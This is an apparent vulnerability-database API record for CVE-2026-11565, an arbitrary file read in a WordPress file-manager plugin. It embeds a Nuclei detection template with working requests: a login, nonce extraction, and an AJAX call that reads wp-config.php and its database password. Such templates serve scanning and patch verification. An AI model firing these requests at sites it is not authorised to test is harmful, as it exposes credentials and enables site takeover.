{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2026-11565/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2026-11565/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2026-11565/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2026-11565/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2026-11565/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2026-11565/enrichment"},"sightings":{"href":"/api/v1/sightings/cve-2026-11565"},"vulnerability":{"href":"/api/v1/vulnerability/cve-2026-11565"}},"enrichments":{"cisa-kev":{"kev":false},"epss":{"epss":0.01254,"kev":false,"percentile":0.69468},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2026/CVE-2026-11565.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2026-11565\n\ninfo:\n  name: WordPress Advanced File Manager < 5.4.13 - Arbitrary File Read\n  author: anirbala98\n  severity: high\n  description: |\n    The Advanced File Manager WordPress plugin before 5.4.13 does not perform capability checks in several of its file management AJAX actions, allowing users with any role to which an administrator has granted file-manager access (as low as Subscriber) to read arbitrary files on the server.\n  impact: |\n    Authenticated attackers with Subscriber-level privileges can disclose local files, including configuration files that contain database credentials and authentication keys.\n  remediation: |\n    Update to version 5.4.13 or later.\n  reference:\n    - https://wpscan.com/vulnerability/5e03858d-db0b-4b65-99cc-eb01ad4195e9/\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-11565\n    - https://wordpress.org/plugins/file-manager-advanced/\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H\n    cvss-score: 8.5\n    cve-id: CVE-2026-11565\n    epss-score: 0.01254\n    epss-percentile: 0.69549\n    cwe-id: CWE-862\n  metadata:\n    verified: true\n    max-request: 3\n    vendor: saad-iqbal\n    product: file-manager-advanced\n    framework: wordpress\n    fofa-query: body=\"/wp-content/plugins/file-manager-advanced/\"\n  tags: cve,cve2026,wordpress,wp,wp-plugin,file-read,authenticated,file-manager-advanced,vkev\n\nflow: http(1) && http(2) && http(3)\n\nhttp:\n  - raw:\n      - |\n        POST /wp-login.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        log={{username}}&pwd={{password}}&wp-submit=Log+In\n\n    matchers:\n      - type: dsl\n        dsl:\n          - status_code == 302\n          - contains(header, \"wordpress_logged_in\")\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET /wp-admin/admin.php?page=file_manager_advanced_ui HTTP/1.1\n        Host: {{Hostname}}\n\n    extractors:\n      - type: regex\n        name: nonce\n        part: body\n        group: 1\n        regex:\n          - 'var afm_object = \\{[^}]*\"nonce\":\"([a-f0-9]+)\"'\n        internal: true\n\n  - raw:\n      - |\n        GET /wp-admin/admin-ajax.php?action=fma_load_fma_ui&_fmakey={{nonce}}&cmd=get&target=l1_d3AtY29uZmlnLnBocA HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(content_type, \"application/json\")'\n          - 'contains_all(body, \"DB_NAME\", \"DB_PASSWORD\")'\n        condition: and\n# digest: 490a00463044022042f05c8f6dfc9b8e2f23117da88f9dfe53bbe404c259ef50eaba4cb4f8345de6022038a179cde0f73c4c1d0de3e2ffdf1097bd2322d6d81c895c3dfc72e69e2fad89:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2026-11565"}